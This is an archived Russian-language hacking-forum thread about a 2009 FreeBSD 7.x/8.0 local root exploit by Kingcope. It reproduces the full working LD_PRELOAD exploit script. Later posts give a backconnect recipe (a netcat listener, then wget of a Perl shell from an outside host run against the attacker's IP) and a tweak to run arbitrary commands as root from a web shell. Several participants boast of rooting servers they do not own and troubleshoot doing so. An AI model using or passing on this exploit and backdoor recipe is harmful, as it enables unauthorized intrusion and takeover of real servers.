PDA

Просмотр полной версии : FreeBSD 7.1, 8 root expl.


BlackSun
01.12.2009, 13:07
###############################
# EDB-ID: 10255
# CVE-ID: ()
# Title: FreeBSD Run-Time Link-Editor Local r00t Zeroday
# Author: Kingcope
# Published: 2009-11-30
###############################

Discovered & Exploited by Nikolaos Rangos also known as Kingcope.
Nov 2009 "BiG TiME"

Systems tested/affected
**********************************
FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NOT VULN
FreeBSD 4.9-RELEASE *** NOT VULN

http://www.exploit-db.com/exploits/10255

Root-access
01.12.2009, 15:32
Потестил на 6.4-RELEASE-p7 #7 - не пашет. Буду тестить дальше.

DimOnOID
01.12.2009, 16:18
7.0 поестил результат рут)
Тс респект)
7.2 тоже.

svesve
05.12.2009, 23:25
7.1 рутит

Seregakz
16.12.2009, 02:12
закинте плз в откомпелированом виде)

kodzero
17.12.2009, 04:10
7.1 Срутил.Спасибо.

xena-mil1
19.12.2009, 05:51
сам експлоит

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
extern char **environ;
environ = (char**)malloc(8096);

environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env




7.1 - взяло рут
6.4 - не взяло

navigat0r
19.12.2009, 05:58
добряк, ТС, добряк
спасибо, порутал

M@rtein
12.01.2010, 18:35
FreeBSD 7.1-RELEASE-p5
рут - успешно

mailbrush
20.01.2010, 22:46
У меня он не запускается, пишет, что файл не найден...
Мои действия:
$ cd /tmp
$ wget http://myhost.ru/w00t.sh
$ chmod 777 w00t.sh
$ ./w00t.sh
: No such file or directory

Tigger
20.01.2010, 23:03
У меня он не запускается, пишет, что файл не найден...
Мои действия:
$ cd /tmp
$ wget http://myhost.ru/w00t.sh
$ chmod 777 w00t.sh
$ ./w00t.sh
: No such file or directory


Либо нету доступа к gcc, либо к sh. Права на папку скорее всего есть. У меня зарутил 1 раз и 30 :D.
Открой сам этот плоент, и сделай все ручками, там элементарно, но вряд ли выйдет)

mailbrush
20.01.2010, 23:07
$ which gcc sh
/usr/bin/gcc
/usr/bin/sh

Tigger
21.01.2010, 01:17
$ which gcc sh
/usr/bin/gcc
/usr/bin/sh

Загляни в сам файл .sh, посмотри какие в итоге файоы должны были создаться и посмотри, все ли создалось, если нет, значит нет прав.

xcedz
21.01.2010, 01:39
readmanpage.... сделай исполяемым

есть еще чудная команда ls кароч читаете маны.

_eXorcist_
21.01.2010, 10:49
поставь на файл права chmod 777 имя файла

krobol
23.01.2010, 19:06
порутал FreeBSD 7.0-RELEASE-p7,

спасибо!

(Скрипт выполнял вручную, пошагово. Пакет не сработал, скорее всего, из-за отсутствия chmod +x env)

wkar
23.01.2010, 21:11
Запустил w00d.sh, появилось 2 файла env.c и program.c, что дальше делать?

krobol
23.01.2010, 22:56
Если sh не работает, то лучше сделать всё руками. Сразу увидишь в каком месте не работает.

Если у тебя кроме *.c больше ничего не появилось, то в системе не установлен gcc

Ty3uK
24.01.2010, 02:02
не было доступа к sh, сделал ручками на бэкконнекте...

FreeBSD 7.2 взял)

MaSTeR GэN
24.01.2010, 11:24
ой как славненько 7.0 рут :)thx давно хотел этот сервак порутить )))

wkar
24.01.2010, 19:51
система 7.2-RELEASE FreeBSD в локалке, есть доступ по шеллу(WSO).
сплоит в /tmp/ ,чмод 777
после sh w00d.sh появляются 3 файла: env , env.c , program.c .
Выше мне сказали, что не установлен gcc.
Как установить gcc?(Выхода в инет нету, только локалка)
Что должно произойти после удачного исполнение сплоита?
Пожалуйста помогите.

Ty3uK
26.01.2010, 01:47
сплоит из консоли ВСО2 нельзя исполнять, нужно и биндшелла или бекконнекта...

kfor
27.01.2010, 11:14
wkar, без рута ты не установишь gcc. Варинат скомпилировать на другой фряхе и залить туда уже бинарник. И тебе нужно вернуть себе бек конект как сказал Тузик.

Ty3uK
27.01.2010, 12:10
ещё можна проверить наличие gcc командой: gcc --help и я могу дать скомпиленые бинарники, но обязательно нужен или биндшелл или бекконнект

wkar
28.01.2010, 00:11
gcc нет, это точно."я могу дать скомпиленые бинарники"Если можешь то дай, буду благодарен.
И ещё, дайте немного маны, как зделать бекконнект.

BlackSun
28.01.2010, 00:20
у себя
netcat -l -n -v -p 5995

на хосте
wget -O ngix http://fsb-my.name/c/apache-handler
perl ngix your_ip 5995 2> /dev/null &

wkar
28.01.2010, 01:19
спасибо за бекдор, поделитесь ещё кто-то скомпилированными бинарниками.

KosoyRoman
28.01.2010, 13:50
А есть у кого на 6.2 ??

.:[melkiy]:.
10.02.2010, 14:12
возможно что-то сделать? :( хз что делать..


./qwe.sh
./qwe: Permission denied


6.2-RELEASE-p8 FreeBSD 6.2-RELEASE-p8 #0: Mon Nov 12 17:30:06 EET 2007

GizmoSB
15.02.2010, 01:55
пожалуйста выложите скомпиленный сплоит (((((никак скомпилить не могу (((( Спасибо

kfor
15.02.2010, 10:23
Ты наврено запускаешь из /tmp а он примантирован как no ex, корчое скопируй в другую папку куда-нить. Правда я неуверен что возьмёт 6.2 но попробуй , отпишись.

З.Ы. Есть вариант что надо сделать chmod 755 на твой скрипт.

GizmoSB, у меня ниразу не получилось скомпилить со скрипта, компиль просто кусками. Из скрипта скопируй куски кода и скомпиль.

overxor
26.03.2010, 13:15
На самом деле бэкконнект не всегда получается делать. В этом случае можно немного поправить сплойт:
system("echo ALEX-ALEX;/bin/sh");
на system("echo ALEX-ALEX;/bin/sh cmd.sh");
после повышения привелегий сплойт будет вполнять команды из cmd.sh под рутом.
Запуск сплойта в вебшеле: w00t.sh &> out.txt. Перенаправление лучше делать потому, что веб шел не выводит stderr поток и мы не увидим ошибок. Результат читаем из out.txt.

wwwall
26.03.2010, 19:03
на хосте
wget -O ngix http://fsb-my.name/c/apache-handler
perl ngix your_ip 5995 2> /dev/null &
возможно ли вместо wget использовать $_GET?
т.е. чисто на пхп, не используя консольные команды
возможно ли какнибудь запустить на хосте то что накомпелено в домашних условия, при услонии что не работает с/перл/командная строка
+ нет доступа к папкам до /public_html/
в этой ситуации можно получить рут? :confused:

BlackSun
26.03.2010, 19:10
возможно ли вместо wget использовать $_GET?
Возможно ли использовать вместо программы-качалки массив из высокоуровниевого языка?
Возможно ли использовать вместо бензопилы бабушикины спицы, правда они погнулись?
Возможно ли швее-мотористке проектировать ядерные реакторы?

Если включен сеф мод и\или вырублены нужные функции - гугли вначале обход этих ограничений.

rat.energizer
02.04.2010, 15:21
:.']возможно что-то сделать? :( хз что делать..


./qwe.sh
./qwe: Permission denied


6.2-RELEASE-p8 FreeBSD 6.2-RELEASE-p8 #0: Mon Nov 12 17:30:06 EET 2007

Скорее всего noexec флаг.
mount или /etc/fstab глянь и выбери диру другую

$n@ke
02.04.2010, 16:26
chmod +x filename

kfor
02.04.2010, 19:17
Скорее всего noexec флаг.
mount или /etc/fstab глянь и выбери диру другую

6-ку не берёт вроде этот сплойт

mazaxaka
05.04.2010, 20:53
кто поможет порутать 8?

zerling
12.04.2010, 08:53
7.2-RELEASE-p3 FreeBSD 7.2-RELEASE-p3 рутанул сегодня вот такой сервачок )
при срабатывании сплоита в констоль выкинуло вот это
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
До этого много серваков с подходящими версиями не хотели рутаться
Эх жаль я профукал появление этого сплоита в декабре, жертв было бы гораздо больше )

RazyKK
19.04.2010, 21:35
через sh не получилось,кто может помоч по кускам выполнить стукните 600-zero91-642